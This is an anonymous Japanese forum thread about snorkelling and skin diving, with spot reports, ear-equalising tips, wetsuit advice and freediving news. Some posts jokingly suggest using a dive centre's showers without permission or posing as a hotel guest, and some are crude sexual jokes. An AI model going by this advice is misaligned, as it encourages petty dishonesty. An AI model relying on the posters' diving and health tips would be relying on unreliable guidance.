何処から入っていけばいいのですか？
あと、シュノーケルのお友達欲しいんですけど　どうやったら作れるかな？

ここじゃあ無理だから、スノーケル、スキンダイビングでぐぐるして
色々ＨＰを見て回るのじゃ。ヤフーBBSにも話題があるぞい

>>719
江ノ島のイルカはここを参照
http://www.enoshimairuka.com/
私はかつては何度も目撃しました。今は・・・・
それはそうと「タマちゃん」に会いたい♥
>>720
綺麗というわけではないですが
私は潜ること自体を楽しんでおりますので。
入る場所はヨットハーバーの方から岩場へ回って
海岸沿いに張られている柵を伝って
その柵が途切れたあたりの小さな入り江みたいなところです。
この説明で分かります？

竹野でシュノーケリングで遊んできました。
超安い3点セットはやはりマスクがしょぼくて
ちょっと悲しかったけど、真夏より透明度高くて
海水浴客も皆無で快適でした。

やはりもうちょっとマシなマスクを買おう。

明日久しぶりに江ノ島いってきまふ。
荒れてるかなぁ…。

江ノ島に行ってきました。海は荒れてましたね。
まあ今日は風邪気味だったので散歩目的ですが。
江ノ島の生映像が見れるサイトがあるので
潜りで行く人は行く前にチェックした方がいいでしょう。
http://www.shonan134.com/
ここのページの上の方にある江ノ島お天気カメラで見れます。
ただ、画像では波が無さそうでも
島の裏側は荒れてる場合が多いのでその辺のところも頭に入れましょう。

江ノ島行ってきました。荒れてましたね…。
他にも潜ってた人がいたようなので少し入ってみましたがとっとと撤収、
所を代え葉山に行ってきました。葉山の方が静かでしたが潮が満ちてくると共に
波も高くなり１時間半程で撤収。
大した成果なし、ウエットのケツ破けただけでした…。

土曜日に真鶴行ってきました。初めは琴ヶ浜で潜りましたが
味噌汁状態だったので撤収。スキューバの皆様、ご苦労様です。
「駐車場−町営無料、トイレ−仮設トイレ２個」
次に、三ツ石で潜りました。岬の左側は荒れていたので右側
で潜りました。透明度はけっこう良く、何よりも琴ヶ浜に比べると
海の中がだんぜん明るくて楽しめました。うつぼがたくさんいたことと
イカの子供の大群が印象的でした。浜も広くて明るい雰囲気でいい
ですね。女性の素潜りの人（旦那ｏｒ彼氏付）もけっこういましたよ♪
「駐車場−無料（階段上）、トイレ小屋（浜）、浜に飲食施設なし」

昨日、小土肥に行ったが味噌汁で場所換え、で黄金崎の右側にある砂浜に行った。
透視度7〜10ｍ最大水深16ｍ。
ガンガゼイパーイで不気味な海底、でもクマノミの威嚇音聞いたからｍａｎｚｏｋｕ．

ガンガゼイパーイの時はガンガゼの共生生物を探そう。
いなかったらナイフで即ぶち頃して絵図毛しよう

初島に行った人がいるようなので質問！

初島の食堂街がやってる温水シャワーサービスって夏休み終わってもやってます？
今度、友人と行こうかなぁと思ってるんだけど、ソイツ初心者なんで、
あんまり不便な思いさせると素潜り嫌われちゃうかなぁと思って、
なるべく快適に過ごさせてやりたいのヨ。

教えて君でスマソ

ポリタンに温水汲んで持っていけばイイ！！
電車だと大変だけどね。

今の時期ってクラゲはいませんか？

>>732
まあぼちぼちね。
スポットによるだろうけどね。

>>733
やっぱりいますよね．．．
でも，どうしても潜ってる最中にみつけると
向かって来ないのは分かってても
大きくよけて無駄な体力を使ってしまう．

>>731
電車でつ...。
東京→熱海（電車）→熱海港（バス）→初島（船）
なのでポリタンはちょと...。
う〜ん。レンタカー借りようかな。

初島のダイビングセンターのシャワーを勝手に使えばいいよ。
ばれないしょ。

クラゲはかなり多い、海パンいっちょは痛い思いするよ。
それより台風で今週はダメでしょう。

>>730
去年の９月に行ったときはやってたよ〜。

>>初島のダイビングセンターのシャワーを勝手に使えばいいよ。
これ、名案だね！

去年の10月のあたまに初島行ったけど、その時『シャワー室 物置になってんのよー！』
と、言いいながらもどうにか貸しもらえました。
そこでメシ食ってく等向こうにもメリットがあれば貸してくれるのでは？
（シャワー代 300円だけじゃカワイソウ…。）
ちなみに去年7、8、10月と行ったけど10月が一番良かったよ。

皆さん初島情報サンクス！！

>初島のダイビングセンターのシャワーを勝手に使えばいいよ。
確かに！混んでればバレなさそう。
でも平日に行く予定なので、空いてりゃバレるかも...。

>そこでメシ食ってく等向こうにもメリットがあれば貸してくれるのでは？
弁当痛むと恐いので現地で食おうと思ってます。

確かに今週はダメっぽいので、来週あたり狙ってみます。
後で報告しますね！では！

日帰りなら仕方ないけど、民宿利用したら？
イセエビの味噌汁は本当に美味いし。
夜は客の振りして、もと初島クラブホテルの最上階展望露天風呂で
くつろいで、バーで２〜３杯ひっかけてさ。

あそこのイソギンチャクの群落は本当にきれいだったなー・・・。

イセエビいいね〜
そろそろイセエビ漁解禁だね。10月からだっけ？
喰いに生きた〜い！

ここの台場もうざい

今週末大瀬行くつもりだけど止めた方が無難ですか？
今年の夏に始めた初心者なので、わからないことばかりで･･
ココのスレは夏から楽しく見させて貰ってます。
初カキコ♪

>>743
きみが台場なら大瀬はいいかもしんないけど、すもぐら-なら考え直したほーがいいかもよ。

つ〜か、台風でだめだろ。
湾内なら潜れるかもしれないけど伊豆中のサ−ビスが集中するとおもわれるから、海の中は大渋滞。

台場みにいくならいいかも（ｗ

ここの荒らしは気象スレッドの荒しのようだね。

>711
返事遅くなりました。えーとなんか行った所は弓が浜より左側で、地図が今なくて
よくわからないんですが、伊豆の最南端付近で西伊豆ではなかったみたいです。
あいあい岬っていう展望台があってその下にある漁港みたいなところからちょっと
歩いた所にある岩場で潜りましたよ。田牛浜今でもかなり綺麗らしいです。

お返事ありがとうございました。
週末の大瀬、もう一度検討してみます。
友達を連れてなので、出来るだけ楽しめる状態で潜らせてあげたいので。
それにしてもこの天気じゃしばらく無理そうですね。
でもはやく海に行きたいなぁ

ネタかぁ？>>748

そこは中出し、トガイィあはーん浜だ
スノーケラーのメッカだぞぅｗ

海の中、タコと目が合う瞬間が一番興奮するんだが…オレだけかな？
何か知性を感じさせる目をしているよ。
こないだ葉山で捕まえたヤツはちょうどお食事中で、
手を伸ばしたら慌てて抱えてた貝を放り出して岩に張り付いて抵抗してたよ。

江ノ島にもいるよ。
深いところに逝くとホラガイみたいなのもいた。
うちに持って帰って食べてみたけど超苦かった。。。

すもぐりん、皆さんは一人でも行ってますか？
一人なのはチト心細くて、結局は連れの都合がつかず行けないことが多いんです。

わかるよ。怖いよね1人で潜るのは。
でも1人でも行くけどさ。

ところで、波高がどれくらいになるとみんな海に出るのをやめとく？

ごめん、おいらは沿岸の波の高さ2ｍって予報を見ると尻ごむ。

私、2Mで十分ビビリます。憶病過ぎかも…

自然に対して臆病でいる事は賢明です。

マスクのストラップ切れますた

海中で？
もしそうなら大変だったねと申し上げるよ。

海中でマスクのストラップが切れてマスクが水底へゆっくり落ちていきますた。
透明度が思ったより良かったので裸眼のまま回収できますた。

それはそれは。
しかし冷静沈着な行動、スキンダイバーの鏡ですな。

スキンダイバーの鏡とは、ﾏﾑｺに潜行するときもスキンをつける人である

駄目だよ、ストラップのチェックぐらいしとかなきゃ。

駄目だよ、ストリップのチケットぐらいゲットしとかなきゃ。

>>762
それではまだ初心者ですなあ。
上級者は頭にスキンをつけて潜行しまふ

ヒリゾ知ってますか？七ｍ位しか潜れないが、行く価値ありますか
魚イパーイみたい　

女性素もぐら−　ビキニで潛る奴　オパーイ見えるほい　

水圧で胸が締め付けられて、、、、、、オパーイエンボ
ほんとにあるのか？レス　激しくきぼんん

藁　オパーイエンボあれば、ティム−ポエンボのほうが強烈では

　

>>768>>769
キミタチ、カツオノエボシを顔面に乗っけなさい

＞766　わいも、
　ヒリゾ情報キボンヌ　

ヒリゾいいよ。魚もたくさん。
７ｍも潜れれば、十分に楽しめます。
水深４〜１０ｍに枝サンゴの群生がある場所があるので探してね。

結局、大瀬行ってきました。
確かにこんでたし、あんな天気の後でちょっと濁ってたけど、
連れがとても喜んでたので良しと言うことで。
それにしても初心者（講習者?!）ダイバー多すぎ！
それを尻目にスイスイ泳いでるのは気持ち良かった♪
ちょっとした優越感？
でもダイバーにはなれそうに無い･･

大隊の場所キボンヌ

やふおくでがら2000LDかってもーた　（W

ガラ２０００ＬＤ生産終了だって？
オイラも買おっと。

え？カッと居ていがっったーーーー

昨日　江ノ島の裏側でヒラメを突きました。水中銃で
うまかったー　おまえらもやれよ

この間、フルフットタイプのフィンで7ｍくらい潜ってて、海底で足ついて
でっかい石を「フンガー！」って持ち上げたら石が砕けてフィンの上に
落ちてきてフィンが抜けずに死ぬかと思いました。
とりあえず足抜いて水面まであがりましたが、とっさのことで
あせりますよね〜。

アたらしいガラ２０００緑でカコイイ！！！
LD　未使用でヤフオク逝きかな？
それとも、絵巣蚊.....

>>779
新しいガラってどんなん？
あと、普通のガラとＬＤってどこが違うん？

暮れっしーＨＰには書いてない。。。
http://www.cressi-sub.co.jp/

見て味噌
http://www.navycompany.com/gear/longfin.htm

http://www2u.biglobe.ne.jp/~Bubble/equipment/fin2/fin2.htm

LDよりさらに柔らかいのかな？
値段が少し安く設定されてるね。
どう捉えていいのか…

>782が紹介してくれてるインプレッションに、GARAはポケットが柔らかくて足先の関節が痛くなる
という部分があるけど、あれは俺も強く感じるんだよね。
あのサイト面白いしためになる。俺も好きです。
ちなみにピカソのポケットだけっていうような買い物は出来ないんかな？

７８２のサイトのダイビングの情報は面白い。
けど、それ以外は好きじゃない。
他人の悪口ばかり書いてて読んでて気分が悪くなる。ヘドが出そうになる。
リニューアルしてからその傾向がますます強くなって、自惚れもひどくなった。
だからもう見ない。昔は好きだったのですがね。

高樹沙耶って女優40ｍモグルそうな
きれいに潜ってたワン！TVで見た　倭もがんばる

40ｍ…すごいな。
彼女は好きな女優さんの一人だが、尊敬の念も湧いてきたよ。
このスレの住人だって-40へ手が届いた人なんて一握りだろうに。
っていうかいなかったりして（ｗ

続けてごめんよ。

っていうか、コンスタントなら女性では日本ランキングの上位に入るんじゃ？

多分2位。

本当ならな。

こういうのどうおもう？
なんか自分がしきってるってかんじが....
ttp://www5b.biglobe.ne.jp/~mabuta/program-f/

>>789
なんかコンテンツが多すぎ。
「自分でしきってる」ってどれの事？
記事抜粋でヨロ

なんか全体の雰囲気的に...
特にイルカ関してかな？
島自体にもだけどね。
人それぞれだと思うけど、をれは...

所詮観光客なわけで。
　

素潜りみなさんウェット来てますか　どーも身体にいろいろ付けるの苦手です

>>788
いや、今は１位の人との実力の差はほとんどないでしょ。

１０月２０日に真鶴でコンスタントの記録会があるヨ。
>>795は参加する予定。
記録に挑戦したい人、興味ある人、
↓ここに聞いて味噌。
http://www.ne.jp/asahi/blue/magic/

>>793
俺もいろいろ付けるの苦手です。水の抵抗が大きくなるし・・・。
表スキンだと、抵抗小さいのかなぁ？

>>795
おお、がんばってなー

うなづき耳抜き法はどのようしてやると良いのかコツなどを教えてください。

では、男子のコンスタント国内一位は今はどのくらいなんでしょか？
世界大会の予選会ってそろそろあんだよね？

初島に行ってきたので報告。

食堂街のシャワーの看板は何件か出てました。まだ。
が、いざお店を決めてシャワー借りれるか聞いてみたら、案の定　物置き化していたようです。
が、「すぐどかすから使っていいわよぉ〜」と言って片付けてくれました。
さらに「ウチでお昼食べてくれたらタダでいいわよぉ〜」って...え？いいの？
さらにさらに、表のパラソル・椅子セットも貸してくれて（2つも！）
ｳﾙﾙ...感激...。

で、魚ちゃんですが、アオリイカの子供達とミナミハコフグの成魚がｲﾊﾟｰｲで感動！

ちなみにウエット着用禁止らしいんで（なんで？）、これから行く人は御注意を。
↓初島事業連合会
http://www.hatsushima.com/play/swimming.html

以上、報告ですた！

はっぴゃく〜。

国内男子コンスタントは-60ｍだったと記憶してるが…
この夏に自己記録を伸ばしたとか何かの記事で読んだ気がする。
名前は失念。

巣潜りって
耳抜きしながら潜降するの？

>>802
するよ

>>801
そのお方が私の師匠です。

耳抜きの話が出たからついでに書くけど、
俺、10ｍくらいまではずーっとほぼ絶えず抜いてないとダメなんだよね。
耳へ使う空気量も結構バカにならない気がするんだが、皆さんはそうでもない？
マスクへ入れる分は帰りに回収するからまだ許せるんだ。

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アクセス禁止

>>797
うなづき耳抜き法なんかスキンじゃ無理だろ、スクーバなら
水圧に近い空気圧のエアが体内に入るから、うなづきとか
アゴを動かせば簡単に抜けるが、スキンの場合は水圧と
体内の空気圧の差が大きいため、鼻つまんでキュンとやん
ないと抜けないよ。

鼻つままなくても顎動かさなくても
何の苦もなく耳抜きができるよ。
だからフリーダイビング仲間からうらやましがられてるよ。
オレは特異体質か？

>>809
君はアザラシの血が入ってるだろ？

水及び海水飲んでましゅ

水も唾も何にも飲んでましぇん。
意識的に鼓膜？か耳管？を操作しましゅ。
日本記録を持つ師匠も
「手を使わないでできるなんてくやしいな〜」と言っていますた。

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ですから、コツなぞ教えてください。

といっているだろぅ！

無いの？

そうか。しゅん。

>>814
あざらしを喰えば簡単に出来るようになるよ

コツって言われてもこれは何とも説明のしようがないです。
だって自分でも分からないんだもん・・・・。
耳管が生まれつき太いのかも知れないし・・・。

個人差ありますね。
頭を上にしたほうがやりやすいけど
スキンじゃそんなひまはないかも？
風邪ひいて鼻詰まってたときは飛行機の着陸でも
すげーつらかった

誰かが言ってたけどかなり珍しい体質らしいよ。
何百人に1人とかってくらい。
ダイビングに出会えてよかったね。
せっかくの才能に気がつかなかったらもったいないもんね。

ヒリゾって渡し舟確か8月で終わりでしたよね？
ダイビングならともかく、シュノーケリングで船出してくれるのでしょうか？

個人の渡船屋さんにお願いする事です。

クマノミチャンはいますか？何ｍ位の所？

ヒリゾ行きたいなぁ〜
でも、週末になると必ず天気悪くって、伊豆先端まで
行く気持ちが萎えてしまう。ところで中木からヒリゾまで
泳いだぞ！っていう猛者はいらっしゃいますでしょうか？

僕も数年前まではつばを少し飲むまたは飲むように喉ちんこを動かすようにして、
耳抜きができたのですが、今はできません。
先輩には顎を動かすだけでよいという人もいて、そうできるようにがんばっていました。

でも、ある日に風邪が治りかけの状態で海に入ったんです。
こんな状態は耳がやばいから深くもぐらないようにしていて、
さて楽しんだし帰りますかと岸に向けて泳いで、水深3m位の所でふとこれくらいなら(るあぁぁぁ！！！)、
と思いドルフィンで底のほうへ向かったんです。
耳抜きもやっぱりできず、でもそのまま潜水しつづけてしまったところ、
さすような痛みが耳に。

耳鳴りがやまないので(高音でシー)病院へ行ったら、細かい神経が痛んだらしいので治らないかも、
と言われてしまいました。
それ以降つばはもとより顎だけでなんて耳抜きができるはずも無く、
もっぱら鼻つまみ法です。気をつけてくださいね皆さん。浅いところは圧変化が大きいです。むぁ。

で、治ったのか？　ﾁｮﾄ心配してみる

チョト心配してくれて有難う。

神経の損傷は治らないんだって(手術についてはわかりませんが)。
聴音検査で高音が少し聴こえないのと遠くで聴こえる耳鳴りが鳴り止まないのは一生だそうなのですが、
生活に支障は全く無いので(神経が高ぶっているときの耳鳴りは少しうるさい)慣れてきました。

気を付けてくださいね、皆さん。

>>824
そうか、気の毒に。
　参考だが、俺は元々高温が聞こえにくく、語学の為に聴覚トレーニングを受けて効果があった。
内耳骨の動作と聴覚神経に効果があるので、もしかすると、貴殿の治療に効果あるかもしれん。相談してみれば？
　ttp://www.tomatisjp.com/menu37.htm

先日、「もうちょっと行けるかな？」という深さのところで
耳抜きをサボってエイヤ、と潜ったら

「ピチッ」と結構大きな音がして耳が痛くなりまちた。
夜になってダイバーの知人に横で聞いてもらったら、
耳抜きをするたびに小さく「ﾋﾟｰ」音がしてたそうな。
小さい穴があいて、笛状態になっていたのか？
翌日になったら戻ったけどね。もうふさがったかな？

普通の人は耳抜きさぼっちゃダメだＹＯ！

>>817の
>頭を上にしたほうがやりやすいけど

それはスクーバでの話しだな、スクーバでは上を向くと耳より下に
レギュレーターの1stステージが来るため、耳に掛かる圧力より
エアーの圧力が上回るために、耳抜きがしやすいって事だろ。

スキンだと上を向こうが下を向こうが関係ないっす。
スクーバの耳抜きとスキンの耳抜きは同じようだけど、肺に持って
るエアーの圧力が全然違います。
よってスクーバの常識がスキンに当てはまるとは限りません。

>>805
耳抜きでは空気は消費されません。
ためしに、陸上で肺から空気を吐いた状態で鼻をつまんで
耳抜き動作をやってみ。
何回でも出来るでしょ。

>>827
そーかなー。漏れは817と同じように、
陸上と同じように頭が上向いてないと耳抜きできない。
逆立ち・背およぎ状態だとどんなにがんばってもダメ。
でも、どんな姿勢でもぬける人はたしかにいる。人それぞれ。

素っ裸で潜ってこそ素潜りの醍醐味を味わえる。

うん、思う存分味わっていいよ。
>>830

頭が下を向くと血液が下がるので耳管が狭くなる人もいる、と聞いたことがある。

俺はスクーバの時は、マスククリアすると耳が抜けるなぁ。
スキンの時は鼻をつままないとできないけど・・・。

ちなみに>830へのレスではありません。
>793あたりへの遅レス。

今頃以降はウエットじゃなくても何か着てないと辛くない？
海面水温はまだ26℃くらいあるから冷たさはそれほどでもないにしても
もう至るところにクラゲちゃんがいるじゃない。
ほとんどのヤツは刺さないのばっかだけど、たまにいかにも猛毒注意ってのが漂ってるよ。
触手って結構長くて見えにくかったりするから気をつけたほうが。

おいらは水中でそれを意識しだすと途端に息が続かなくなる。
確かに水着だけかせいぜいラッシュガードだけの方が気持ちはいいんだけどね。

ウェット作ると体型維持が・・・　
二年前のが着れマシェ−ーン　稾

あ、太ったんだ？

みなはん、素潜りやってて漁はしないの？楽しいのに・・・

法律や条令に反する行為の話題はもう一通り終わりました。

妄想マニアのお戯れも終わっとけ。

ウエット着るとウエイト必要になるよね?
みんな付けて潜ってる？

>839
当たり前！
ってか付けないで潜れると思ったら付けなきゃヨイヨイ！！

>>839
5mmワンピースくらいなら根性で潜れるだろ。
潜るのは少しつらいが、浮上はラクラク〜ン。
好みの問題とちゃうか？

以前、ライフジャケット着用ウエイト無しでスキンやった事が
あるが、潜行がかなりつらかった。

＞＞841
そりゃスキンダイビングじゃないよ、スノーケリングだY0
つ〜かスノーケリングツアーだよね。

海女さんって、なんでウェイト付けてても帰ってこれるのか
すげー尊敬するな。まー職業だからっっつー訳でもあるけどさ。

俺の場合で言えば目標の深度で使い分ける。
目標が-7ｍくらいまでなら4ｋｇ、
-13ｍくらいまでなら3ｋｇ、
-22ｍくらいまでなら2ｋｇか1ｋｇ、
それより深いところまで行こうと思ってる時にはノーウエイトか1ｋｇ
って事にしてる。原則的にはね。
その日の調子や潜る目的、滞底時間によって多少のアレンジもあり。

5ｍｍフルワンピの時ね。
フリーダイビングの真似事をするだけじゃないからなあ。

書き加え。

昔は深い所へ潜る時は、5ｋｇの漬物石を握って潜行してた事もあった。
握るのにちょうどいい取っ手があるので便利だった。
今時のビニールで覆われたヤツね。
もちろんロープで結んであるので、海底で離して浮上した後、ゴムボートで待ってる人が
引き上げてくれるワケだが、繰り返すと交代でやっても案外これが重労働なんだよな。

潜行時は潜り始めの数ｍだけしかフィンを使わないから、ロープが身体に巻きつく事も
なかった。もちろん万一の事を考えて当然ナイフは常に携行。

安全性にさえ気をつければ、この方法は確かに楽に潜れるよ。と言っても全然スキルが
なかった頃だったので-33ｍが限度だったけどね。
もっとも近頃はコンスタントウエイトばかりだが、大してスキルも伸びていないので
-26ｍまでしか行った事ないんだけどね。正直言ってこれが俺の限界だとも思う。
今漬物石ダイブをすればきっと…
でも怖いな（ｗ

>>826
それは、鼓膜をすこうし破ってしまったんではないでしょうか？

僕の友人もパチッ(？)と破ってしまって水中で平衡感覚が無くなって溺れそうになったと言っていました。
鼓膜なら軽度なら自然に、重度なら手術で治る可能性があるけれど、
(溺れる心配を抜きにしたら)神経を傷めるよりかは、再生の可否からいってマシなようですね。

どちらにせよ、< 普通の人は耳抜きさぼっちゃダメだＹＯ！

オトヴェントで鼻風船膨らませるといいよ。
とにかく耳管を広げる練習することだよ。

普通バルサルバ法で息を出す方はみんなできるけど逆に鼻をつまんで息を吸う練習も普段地上でしとくと耳抜きしやすいですよ

↑どういう意味か教えてくだちい

＞847　オトベント？

＞848　ハナをつまんで口から息するの？

オベントウ　

遠足に逝った時食べるやつね・・・・・・って違うだろ！

>847
オトヴェントはどうやって手に入れるですか？

ダーマ神殿の宝箱の中にあります

オトヴェントは本来中耳炎の治療器具ですが，耳管を広げる訓練にもいいです。
ダイビングに理解のある耳鼻科に相談してみては？
オトヴェントをやってる姿は、かなり間抜けです。

エアーフィン使ったことあるひといる？
おもしろそうだね。
http://www.airfin.com/

↑…
自分を正統派だと思っているスキンダイバーはあまり興味を持たないと思うなあ

>>855
ちょっと面白そうに思うけどやっぱり邪道かな・・・。

>>855
たとえ簡易潜水具でも、圧縮空気を吸うのでスキンの感覚で浮上すると
血中にマイクロバブルが蓄積されるよ。
そういう知識があって使うならいいけど、知識なしで使うなら体を悪くするよ。

あと、これブーメランって名前で売ってた奴だろ。
そうなら水深5mを超えるとブーー！とうるさいブザーが鳴って使えんよ。

5ｍなら自力で2．3分位潜ってられるっしょ？
わざわざそんなんなくっていい！
と、思うけど･･？

既出だ！って騒がないところがこのスレのいいところだね。

>>860
素もぐりスレゆえに自然にやさしく、レスにもやさしぃ〜！

>>855
横浜micで、実物を見てきました。想像より小さくてイイ感じ。

でも店員曰く「チャージはスクーバのタンクから」なんだそうな・・・。
自転車の空気入れみたいなもんで手軽にチャージできるんなら
使ってもみたいけど、これじゃあスクーバの延長としか思えない。

てなわけで購入は断念しますた。

あ〜あ。もう寒くてウェットスーツないから潜れないや。東京近郊で安く手に入る
所ないでしょうか？ついでに、どういったものを選べばいいのでしょうか？さっぱり
わからないので教えて下さい。ヤフーオークションで買ってもいいのかな〜？

教えてくんにも比較的優しいスレなので耳寄り情報教えてあげよう。
東京じゃなく沖縄のシーサーってショップの吊るしのスーツだけど現在大特価。
5ｍｍ表ジャージ裏銀色スキンのワンピ。
多分送料もサービスだよ。
特殊な体型でなかったらフィットするサイズがあると思う。
ぐぐればすぐに分かる。

デザインはすんげー地味だけど、機能的には決して悪くない。
これまでスーツは3枚買ったがここのが結構気に入ってる。
最初の1枚目は他所で作ったオーダーだった。
次の2枚目は吊るしだったが、結構高かった。
それらと比較してもウエットスーツとしての仕事はきちんとしてると思う。
確かに全体的な安っぽさは否定できないけどね、他人に見せびらかす
ためじゃないからいいっしょ？

フードベストも併用すればもっと寒い時期でもいけると思うよ。
袖と裾にファスナーが付いているのが余計といえば余計だが、
スーツ初心者にはより着脱がラクチンとも言える。

ちなみに今ならまだ海の中そのものはちっとも寒くないぞ。
真夏とそう変わらない。
怖いクラゲはさすがに増えたけどね。

>>863
俺が知ってる安いウェットは、新宿のS.R.Cで売ってるフルオーダー
26,000円のやつ。
黒一色で5mmワンピース表ジャージ裏リペ何とかスキン

ウエットスーツは、表もスキンの方が良い。すぐ乾くから。

断熱性能的には、866の言う通り、両面スキンが良いのでしょうね
でも小さい傷から大裂傷、おけつペロンなんていう強度面を考えると
私は表ジャージ、裏面ＳＣＳなどが好きです。表面の気化熱は
そもそも断熱してくれるし、脱ぎ着が楽ですから。表面が乾かなくて
重いと言っても、たいしたことありませんから。

http://www.rakuten.co.jp/event-ya/397317/397434/
>>863
これなんかどう？
吊るしだが、ポーズもバッチリ決まる。

新宿のS.R.Cのやつ両面スキンもあるよ
6.5mm表スキン裏リペルスキン ワンピースフルオーダーで29,000円
http://www.maui.co.jp/nr.html

八重山でどっかいいポイントある？
特に与那国。

この週末も天候が悪そうなので会社さぼって大瀬崎に
行って来ました。３ｍｍのスプリングでは水中では問題
無いのですが上がった時、風が強かったせいもあり、さすがに
寒くて辛かったです。潜り納めにするか、フルスーツ買うか
思案中です。今日の大瀬は透視度もまあまあで、結構な魚群
があり、楽しめました。
>>870
スクーバライセンス取って、海底遺跡とか？素潜りは合間に
楽しめば八重山を満喫できると思われ。ソーセージも忘れずにね！

http://www.kcc.zaq.ne.jp/lacasa/microprene.html
これ持ってる？どうなんだろ

与那国でGT(ロウニンアジ)を突くのか？

今まで見てみると、
沖縄ではオーダーで本土価格-5千円です。品質はうみんちゅも納得です。
オンラインで注文できるかどうかは怪しいところです。
もちろん真っ黒ですけどね。
友達は安い安いと言って、沖縄に来たついでに注文して本土住所に送っていました。

所で、どんなスーツも年々質が変わっていくものですが、
scsウェットはちょっと、、、だと思いませんか？
毎週海に行って、時には激しく泳いだりなどしていたら、
2年で裏面のscsコーティングが無くなり3年も使うといろいろなところ(おしり、膝下、ジッパー周辺)がびりびり破れて使えなくなりました。
ちなみに3mmでした。こんなものなのかな。破れだけは勘弁して欲しいと思いました。

>872
夏の間はこれや関連商品に興味あったけどね。
だいぶん前に誰かをそこにぐーぐるで誘導してあげようと思ってた人がいたけど
気が短かったのか途中で「もーいーよ！プンプン」って諦めちゃった香具師がいた（ｗ

>>875
>沖縄ではオーダーで本土価格-5千円です

本土価格って何よ
はっきり値段を書いてないとわかんないよ
前のSRCの人のように値段を書いてよ

>>873

フィッシュウォッチングも兼ねて
真栄田みたいに適度に水深取れるとこがいいんだけど。
流れが強すぎるのはちょっと怖いかも。

それからスピアって興味はあったけどやったことないんですよね。
与那国って堂々とやっていいの？

でもイタチやオオメジロに襲われるのもやだなあ。

>>809
漏れもできるぞ！
っていうか自分以外にできるやつ初めてだよ。

小学校低学年から素潜りしてるんだけど
暇な時に鼓膜を動かして遊んでいたら自然とできるようになった。
今じゃ、耳の後にちょっと力入れるだけでできるよ。

真榮田岬って珊瑚は死んだままなのかな？
少しは回復したのでしょうか？

少しは、、、ね。

沖縄本島の珊瑚なんかに期待しちゃいかんよ
フェリーで小1時間のケラマ諸島に逝け

その上これだよ。

> 北谷の58号線の渋滞解消には、
宜野湾コンベンションセンター前のようなバイパス道路を建設予定です。
読谷-那覇道路の一区画。

読谷楚辺(鳥居基地)辺りで58号線から分岐して渡口の浜まで。
そこから海岸線を南へ水釜-嘉手納マリーナ-宮城海岸(砂辺)-おそらく現在のコンベンションセンター前の道路に連結
-牧港-西洲てな感じでしょうか。
西洲周辺の道路及び港湾施設建設のための埋め立て計画は大幅に縮小されたそうですが、
しかし、それでも渡口-水釜-砂辺の海岸線に道路建設となると、
埋め立てにしろ高架道路にしろ、海と陸の景観だけでなくそこへのアクセスまでもが今までとは大きく変わり、
今のマリンスポーツのメインスポットとしてのあの地区の価値は、無くなるでしょう。
建設はもう渡口の手前まで目に見える所まできています。
こんなのばっかりですよね、今の沖縄。

漁業、ダイビング、観光、サーフィン、夕涼み、ビーチパーティーその他海の恩恵を受けている人達は、
もっと声をあげて良いと思う。

>>882
地元の人々の生活の利便性向上や、産業の発達のためということも
あるのでしょうが「沖縄本島？水きたねーし、湘南と同じ景色じゃん」
とか言われるようにならなければいいですね。

今日、三浦の城ヶ島の方に行きました。
よさげな磯がたくさんありましたが、あのへんは、

・海の状況
・漁師の状況

等々いかがでしょうか？

知っている人がいたら教えてください。

例の女優さん、がんばりましたな。
マユツバだと思っていたが本当だったようだ。

美人で女優でコンスタント1位なんてかっこよすぎる。
これまでもお気に入りの女優さんだっだが
今日からは俄然ファンだな。

↓これだろ、ところで高樹沙耶がフリーダイビングやってる写真ないか？
水着かスーツの写真に萌えたい。

高樹沙耶がフリーダイビングで日本新樹立＆総合Ｖ…Ｗ杯出場決定
http://www.sanspo.com/geino/g_top/gt200209/g_top2002093015.html

ダイビングネタのサスペンスドラマ作ってくんないかな。
「フリーダイビング探偵西伊豆素潜り殺人事件」とか。

>886
これでがまんしとけ
http://shinoyama.cplaza.ne.jp/n_sample/tgs.html

>886
これはあかんやろ。
http://www.yomiuri.co.jp/hochi/geinou/sep/o20020929_10.htm

だが、マジびっくりした。
４５ｍの縦方向への潜水だろ！？
なかなか出来ないよ。（つーか、日本新記録だったりする）

>>886
ダイブングという新しい競技みたいだよ

>>884
日曜行ってきたよ。
公園の中通って行った所。
初めて行ったんだけどね。
透明度１０Ｍはあったと思うし、海底は閑散とした感じだけど
油壷周辺より地形の起伏激しくてオレ的には潜ってて気持ちよかった。

ただ、潜り始めて１時間ぐらいしたらコチラに向かう船１隻…。
船上から『もう潜りは終わりだＹＯ！』との声。
なんで終わりなんだか分からんが『ココ素潜りしちゃいけないの〜？』
と、聞いたが波食らいながらで会話もママならず
『分かった。もう帰る』とジェスチャーしたら去ってった。
しばらく遊んでから本当に帰ったけど、なんかココうるさいかもね…。

女子の日本新記録だね。

>>892
漁協によって違うが、どこも遊漁者の海面使用時間を決めてあるよ。
遊漁者と漁船の事故を防ぐためね。

>>894
ふ〜ん、時間って何時から何時ってこと？
夏休みが終わったから『もう潜りは終わりだＹＯ！』
なのかなとも考えてた。

>>895
もうダイビングの時代じゃないＹＯ。って意味だったんじゃない？

>886のリンク先なんかの書き方だとさ、
フリーダイビングの競技会に出るのには何かの
インストラクターを取らなきゃダメみたいに
誤解する人もいそうな気がするよ。

それもだが、各社スポーツ紙のネット版が
スポーツニュースとしてではなく芸能ニュースとして
取り扱っているのが腑に落ちない。

フリーダイビングはスポーツであるという認識を世間はしていないようだな。

W杯予選の結果全体を携帯から見れるトコないでスか？

>>892
それって何時ごろ？

う〜ん、夕方４時ごろ。
まさか…。

新スレ立てちゃった。

http://sports.2ch.net/test/read.cgi/msports/1033390245/

>>901
4時なら入水禁止の時間だろ

age

このサイト<http://www.dc.ogb.go.jp/nankoku/topix/topic-nishkaigan02.html>によると、
嘉手納、北谷の海岸線道路は未だ調査中だそうです。
さらに、４項目の公共事業見直し「原則中止」基準の、1-事業採択後５年以上経過しても未着工の事業<http://www5a.biglobe.ne.jp/~shokuso/news482.htm>として、
基準に該当する事業の一つ<http://www.jimin.jp/jimin/saishin00/seisaku-024.html>にも挙げられています。
埋め立て計画縮小のnewsも先週報道されました<http://www.ryukyushimpo.co.jp/news01/2002/2002_09/020927a.html>。
つまり、まだ計画変更の余地があると言うことです。

さやちん　カックウイー　

さや、かなり見直した
でも、金が有って良い環境（ハワイ島）でただ練習だけしてればだれでもって
気もしないでも無いけどね。

松元恵さんの立場は....藁

やぱし火山島には、パワーがあるよ　今でもマグマ流れてるし

新スレができたようだけども…
まだまだこのスレが1000に達するのは先だろうからなあ。
新スレの1はなんでそんなにあせって立てたのか小一時間…

まあいいや、上手にガイド作ってたから。

教えてポ　
